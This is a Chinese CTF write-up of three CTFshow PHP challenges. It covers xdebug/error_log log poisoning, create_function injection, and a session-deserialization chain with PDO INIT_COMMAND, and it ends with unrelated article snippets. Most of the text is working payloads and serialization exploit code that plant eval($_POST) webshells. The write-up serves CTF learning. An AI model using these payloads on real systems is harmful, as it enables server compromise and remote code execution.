[CTFshow 红包挑战] 刷题记录

文章目录

    • 红包挑战7
    • 红包挑战8
    • 红包挑战9


红包挑战7

考点:xdebug拓展

源码

 <?php
highlight_file(__FILE__);
error_reporting(2);

extract($_GET);
ini_set($name,$value);

system(
    "ls '".filter($_GET[1])."'"
);

function filter($cmd){
    $cmd = str_replace("'","",$cmd);
    $cmd = str_replace("\\","",$cmd);
    $cmd = str_replace("`","",$cmd);
    $cmd = str_replace("$","",$cmd);
    return $cmd;
}

分析一下
error_reporting(2);这将错误报告级别设置为仅显示警告,这可能是为了隐藏潜在的错误消息,使用户看不到;接着extract函数存在变量覆盖;ini_set函数可以修改php拓展;然后字符串拼接命令执行,不过只有ls功能;最后给了黑名单过滤

我们简单测试下,发现flag的位置
在这里插入图片描述那么我们的问题就是如何读取

思路:利用extract函数变量覆盖和ini_set函数修改php配置选项,使得利用拓展实现RCE
我们看一下有什么可用的拓展,通常在/usr/lib/php/extensions下,但是本题的路径为/usr/local/lib/php/extensions
在这里插入图片描述读取一下,发现存在xdebug拓展

?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731

在这里插入图片描述结合本题特殊的error_reporting(2),翻一下资料,发现xdebug拓展在处理截断问题时会将异常payload回显。而system刚好可以用0字节进行截断来触发异常,也就是%00截断。我们已知可控php配置选项,由于不会设置为2不会回显报错,那么我们可以利用error_log函数控制报错信息回显的路径
payload如下
(注意命令的双引号,单引号被过滤了)

?name=error_log&value=/var/www/html/hack.php&1=%00<?php system("ls /");?>

在这里插入图片描述访问/hack.php,然后再修改命令即可

在这里插入图片描述

红包挑战8

考点:create_function注入

源码

 <?php
highlight_file(__FILE__);
error_reporting(0);

extract($_GET);
create_function($name,base64_encode($value))();

存在变量覆盖,create_function函数第二个参数无法实现注入
由于我们第一个参数name也是可控的,payload如下

?name=){}system('tac /flag');//

在这里插入图片描述

红包挑战9

考点:session反序列化

题目是给了附件的

我们先看common.php

<?php

class user{
    public $id;
    public $username;
    private $password;

    public function __toString(){
        return $this->username;
    }


}

class cookie_helper{
    private $secret = "*************"; //敏感信息打码

    public  function getCookie($name){
        return $this->verify($_COOKIE[$name]);

    }

    public function setCookie($name,$value){
        $data = $value."|".md5($this->secret.$value);
        setcookie($name,$data);
    }

    private function verify($cookie){
        $data = explode('|',$cookie);
        if (count($data) != 2) {
            return null;
        }
        return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;
    }
}


class mysql_helper{
    private $db;
    public $option = array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    );

    public function __construct(){
        $this->init();
    }

    public function __wakeup(){
        $this->init();
    }


    private function init(){
        $this->db = array(
            'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
            'host' => '127.0.0.1',
            'port' => '3306',
            'dbname' => '****', //敏感信息打码
            'username' => '****',//敏感信息打码
            'password' => '****',//敏感信息打码
            'charset' => 'utf8',
        );
    }

    public function get_pdo(){
        try{
            $pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
        }catch(PDOException $e){
            die('数据库连接失败:' . $e->getMessage());
        }
    
        return $pdo;
    }

}

class application{
    public $cookie;
    public $mysql;
    public $dispather;
    public $loger;
    public $debug=false;

    public function __construct(){
        $this->cookie = new cookie_helper();
        $this->mysql = new mysql_helper();
        $this->dispatcher = new dispatcher();
        $this->loger = new userLogger();
        $this->loger->setLogFileName("log.txt");
    }

    public function register($username,$password){
        $this->loger->user_register($username,$password);
        $pdo = $this->mysql;
        $sql = "insert into user(username,password) values(?,?)";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute(array($username,$password));
        return $pdo->lastInsertId() > 0;
    }

    public function login($username,$password){
        $this->loger->user_login($username,$password);
        $sql = "select id,username,password from user where username = ? and password = ?";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute(array($username,$password));
        $ret = $stmt->fetch();
        return $ret['password']===$password;

    }
    public function getLoginName($name){
        $data = $this->cookie->getCookie($name);
        if($data === NULL && isset($_GET['token'])){
            session_decode($_GET['token']);
            $data = $_SESSION['user'];
        }
        return $data;
    }

    public function logout(){
        $this->loger->user_logout();
        setCookie("user",NULL);
    }

    private function log_last_user(){
        $sql = "select username,password from user order by id desc limit 1";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute();
        $ret = $stmt->fetch();
    }
    public function __destruct(){
       if($this->debug){
            $this->log_last_user();
       }
    }

}

class userLogger{

    public $username;
    private $password;
    private $filename;

    public function __construct(){
        $this->filename = "log.txt_$this->username-$this->password";
    }
    public function setLogFileName($filename){
        $this->filename = $filename;
    }

    public function __wakeup(){
        $this->filename = "log.txt";
    }
    public function user_register($username,$password){
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function user_login($username,$password){
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function user_logout(){
        $data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function __destruct(){
        $data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
        $d = file_put_contents($this->filename,$data,FILE_APPEND);
        
    }
}
class dispatcher{

    public function sendMessage($msg){
        echo "<script>alert('$msg');window.history.back();</script>";
    }
    public function redirect($route){

        switch($route){
            case 'login':
                header("location:index.php?action=login");
                break;
            case 'register':
                header("location:index.php?action=register");
                break;
            default:
                header("location:index.php?action=main");
                break;
        }
    }
}

不难发现存在文件写入的功能考虑反序列化,但是没有发现unserialize函数,不过我们分析下面代码

public function getLoginName($name){
        $data = $this->cookie->getCookie($name);
        if($data === NULL && isset($_GET['token'])){
            session_decode($_GET['token']);
            $data = $_SESSION['user'];
        }
        return $data;
    }

语句session_decode($_GET['token']);往session里面存放对象
语句$data = $_SESSION['user'];往session里面拿取对象,拿取名字为user的对象。

所以满足session反序列化条件的情况下,我们可以构造token=user| 恶意序列化字符串来实现命令执行
(注:token的格式是因为session的存储格式为键名 + 竖线 + 经过 serialize() 函数反序列处理的值

我们访问main.php,发现存在调用getLoginName()

<?php

$name =  $app->getLoginName('user');

if($name){
    echo "恭喜你登陆成功 <a href='/index.php?action=logout'>退出登陆</a>";
}else{
    include 'login.html';
}

而要想访问main.php调用此方法就要继续看到index.php

<?php

error_reporting(0);
session_start();
require_once 'common.php';

$action = $_GET['action'];
$app = new application();

if(isset($action)){

    switch ($action) {
        case 'do_login':
            $ret = $app->login($_POST['username'],$_POST['password']);
            if($ret){
                $app->cookie->setcookie("user",$_POST['username']);
                $app->dispatcher->redirect('main');
            }else{
                echo "登录失败";
            }
            break;
        case 'logout':
            $app->logout();
            $app->dispatcher->redirect('main');
            break;    
        case 'do_register':
            $ret = $app->register($_POST['username'],$_POST['password']);
            if($ret){
                $app->dispatcher->sendMessage("注册成功,请登陆");
            }else{
                echo "注册失败";
            }
            break;
        default:
            include './templates/main.php';
            break;
    }
}else{
    $app->dispatcher->redirect('main');
}

可以发现启用session_start();(说明思路没错),接收action参数进行switch选择判断,如果没找到则跳转main.php,所以我们只需要传参action不为那三个值即可

思路捋清楚后我们看向如何反序列化,前提是if($data === NULL && isset($_GET['token']))
data的值是由getCookie()得到的,我们分析下cookie_helper类

class cookie_helper{
    private $secret = "*************"; //敏感信息打码

    public  function getCookie($name){
        return $this->verify($_COOKIE[$name]);

    }

    public function setCookie($name,$value){
        $data = $value."|".md5($this->secret.$value);
        setcookie($name,$data);
    }

    private function verify($cookie){
        $data = explode('|',$cookie);
        if (count($data) != 2) {
            return null;
        }
        return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;
    }
}

verify()首先用|将cookie值隔开,判断数量是否为2,如果不为2返回null(关键点在这)。
如果返回null的话data值为null,并且我们同时传参token,那么就可以实现session反序列化

cookie值的生成方式也告诉我们$data = $value."|".md5($this->secret.$value);,我们可以将注册的用户名添加一个|,然后拼接的时候就会出现两个|,也就是数量为3实现返回null

注册用户名rev1ve|666,登录得到cookie
在这里插入图片描述然后我们简单构造字符串

<?php

class userLogger{
    public $username="<?php eval(\$_POST[1]);?>";
    private $password="123456";
}
$a=new userLogger();
echo urlencode(serialize($a));

我们可以访问log.txt看看(带上cookie),发现成功写入
在这里插入图片描述
那么我们getshell的方式就是写马

题目应该是开启了PDO扩展(common.php中出现的mysql_helper类),用来连接数据库。
利用PDO::MYSQL_ATTR_INIT_COMMAND

连接MySQL服务器时执行的命令(SQL语句)。将在重新连接时自动重新执行。注意,这个常量只能在构造一个新的数据库句柄时在driver_options数组中使用。

构造恶意命令select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';

我们看向mysql_helper类,执行命令如下

public $option = array(
        PDO::MYSQL_ATTR_INIT_COMMAND => “select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';”
);

往前推,可以发现application类实例化的时候会调用mysql_helper类
连接数据库就得执行mysql_helper::get_pdo()方法,然后必须执行application::log_last_user()方法

private function log_last_user(){
        $sql = "select username,password from user order by id desc limit 1";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute();
        $ret = $stmt->fetch();
}

往下看,发现debug的值为True才行

public function __destruct(){
       if($this->debug){
            $this->log_last_user();
       }
}

exp如下

<?php
class mysql_helper{
    public $option = array(
        PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>' into outfile '/var/www/html/6.php';"
    );
}

class application{
    public $debug=true;
    public $mysql;
}

$a=new application();
$b=new mysql_helper();
$a->mysql=$b;
echo urlencode(serialize($a));

直接随便抓包一个界面,修改cookie为我们注册rev1ve|666的,添加payload
在这里插入图片描述
然后成功访问得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/234133.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C语言精选——选择题Day42

第一题 1. 下面程序输出的结果是&#xff08;&#xff09; #include <stdio.h> int main () {int x;x printf("I See, Sea in C");printf("x%d" , x); } A&#xff1a;2 B&#xff1a;随机值 C&#xff1a;都不是 D&#xff1a;15 答案及解析 D p…

unittest 数据驱动DDT应用

前言 一般进行接口测试时&#xff0c;每个接口的传参都不止一种情况&#xff0c;一般会考虑正向、逆向等多种组合。所以在测试一个接口时通常会编写多条case&#xff0c;而这些case除了传参不同外&#xff0c;其实并没什么区别。 这个时候就可以利用ddt来管理测试数据&#xff…

什么是高防IP,高防IP该如何选择。

高防IP&#xff0c;指的是高防御能力的IP地址。在互联网的世界里&#xff0c;网络安全问题成为一个重要的话题。作为一个用户&#xff0c;你是否曾遇到过被黑客攻击造成的网站瘫痪、信息泄露等问题&#xff1f;如果你是一个企业&#xff0c;你是否考虑过自己公司的网站和业务的…

【基于ESP32无线蓝牙上传电脑Excel透传数据】

【基于ESP32无线蓝牙上传电脑透传数据】 1. 引言2. 环境搭建2.1 硬件准备:2.2 软件准备:2.3. 配置Excel端口接收功能3. 测试代码4. 连接电脑和 ESP324.1 烧录程序4.2 启动蓝牙服务4.3 测试数据透传5. 总结1. 引言 随着物联网技术的发展,越来越多的设备开始支持无线通信,其…

java数据结构2------深入学习LinkedList

目录 一、概念 二、源码分析 1、属性 2、节点结构 3、常用方法 ①get(int index) ②add(E e) ③set(int index, E element) ④remove(int index) 三、总结 一、概念 LinkedList 是一种基于链表的集合&#xff0c;用双向链表实现的&#xff0c;提供了高效的插入和删…

设计模式篇---代理模式

文章目录 概念结构实例静态代理动态代理 总结 概念 代理模式&#xff1a;给某一个对象提供一个代理或占位符&#xff0c;并由代理对象来控制对原对象的访问。 比如我们想从其他国家买东西&#xff0c;但我们无法直接联系外国的商家&#xff0c;可以找代理商&#xff0c;让他们…

错题总结(四)

1.【一维数组】输入10个整数&#xff0c;求平均值 编写一个程序&#xff0c;从用户输入中读取10个整数并存储在一个数组中。然后&#xff0c;计算并输出这些整数的平均值。 int main() {int arr[10];int sum 0;for (int n 0; n < 10; n){scanf("%d", &arr…

算法Day25 01子串

01子串 Description 给你一个二进制字符串s&#xff0c;该字符串不含前导零。 如果s包含零个或一个由连续的’1’组成的字段&#xff0c;返回true​​​。否则&#xff0c;返回false Input 输入一个只含01的字符串s 1≤s.length≤100 Output 输出true或false Sample 代码 imp…

坚鹏:中国邮政储蓄银行数字化转型战略、方法与案例培训

中国邮政储蓄银行拥有优良的资产质量和显著的成长潜力&#xff0c;是中国领先的大型零售银行。2016年9月在香港联交所挂牌上市&#xff0c;2019年12月在上交所挂牌上市。中国邮政储蓄银行拥有近4万个营业网点&#xff0c;服务个人客户超6.5亿户。2022年&#xff0c;在《银行家》…

LabVIEW开发新型电化学性能测试设备

LabVIEW开发新型电化学性能测试设备 开发了一种基于Arduino和LabVIEW的新型电化学性能测试装置&#xff0c;专门用于实验电池&#xff0c;特别是在锂硫&#xff08;Li-S&#xff09;技术领域的评估。这种装置结合了简单、灵活的硬件和软件工具&#xff0c;使新科学家能够设计针…

智能优化算法应用:基于被囊群算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于被囊群算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于被囊群算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.被囊群算法4.实验参数设定5.算法结果6.参考文…

实用篇 | 一文快速构建人工智能前端展示streamlit应用

----------------------- &#x1f388;API 相关直达 &#x1f388;-------------------------- &#x1f680;Gradio: 实用篇 | 关于Gradio快速构建人工智能模型实现界面&#xff0c;你想知道的都在这里-CSDN博客 &#x1f680;Streamlit :实用篇 | 一文快速构建人工智能前端展…

谷歌云数据中心利用地热能实现能源转型突破

随着全球气候变化问题日益严重&#xff0c;各大公司纷纷寻求更加可持续的能源解决方案。作为科技巨头的谷歌&#xff0c;近日在内华达州的数据中心取得了突破性的进展&#xff0c;开始使用100%地热能供电&#xff0c;为全球数据中心能源转型树立了新的标杆。 作为全球最大的搜…

VOL-vue 框架 文件上传控件关于大文件上传等待的修改

我的项目在测试voltable列表组件中对阿里云OSS做附件上传时&#xff0c;几十M的文件可能就会需要一段时间来上传&#xff0c;才能有OSS的状态和链接返回。 但是控件VolUpload.vue并没有去在这方面做任何交互体验上的控制&#xff0c;而且VolUpload.vue本身写的几个上传函数都是…

逆序对的数量

归并排序模板题 相关文章 //采用归并排序,归并的过程可以算出逆序对的个数//所有的逆序对个数 /*排序后,两个数都在左边的逆序对数排序后,两个数都在右边的逆序对数如果一个数在左边,一个数在右边,在归并的过程中*/ //左边 < 右边,正常归并。如果左边 > 右边 //那么左边…

Kubernetes简介与部署

一、Kubernetes 简介 1、概念&#xff1a; Kubernetes 又称 k8s&#xff0c;是一个可移植、可扩展的开源平台&#xff0c;用于管理容器化应用和服务&#xff0c;通过 Kubernetes 能够进行应用的自动化部署和扩缩容。(k8s不是容器&#xff0c;而是一套容器编排系统) 官网&…

Java学习笔记——instanceof关键字

instanceof关键字&#xff1a; 作用&#xff1a;保证对象向下转型的安全性在对象向下转型前判断某一对象实例是否属于某个类 判断时&#xff0c;如果对象是null&#xff0c;则 instanceof 判断结果为 false

侯捷C++ (二--STL标准库)

CSTL标准库与泛型编程 STL六大部件 容器 Containers分配器 Allocators 一种用来修饰容器或仿函数或迭代器接口的东西算法 Algorithms迭代器 Iterators适配器 Adapters仿函数 Functors 容器 前闭后开 大致分为两种容器&#xff1a;序列容器&#xff0c;关联容器 所谓关联容器…

C# WPF上位机开发(动态库dll的开发)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 很多时候&#xff0c;我们并不希望所有的程序都放到一个exe里面。因为这样相当于把所有的风险都放在了一个文件里里面&#xff0c;既不利于程序的升…

13.触发器

目录 1、创建触发器 1、创建只有一个执行语句的触发器 2、创建有多个执行语句的触发器 2、查看触发器 1、通过SHOW TRIGGERS查看触发器: 2.在triggers 表中查看触发器信息 3、使用触发器 4、删除触发器 1、创建触发器 MySQL 的触发器和存储过程一样&#xff0c;都是嵌…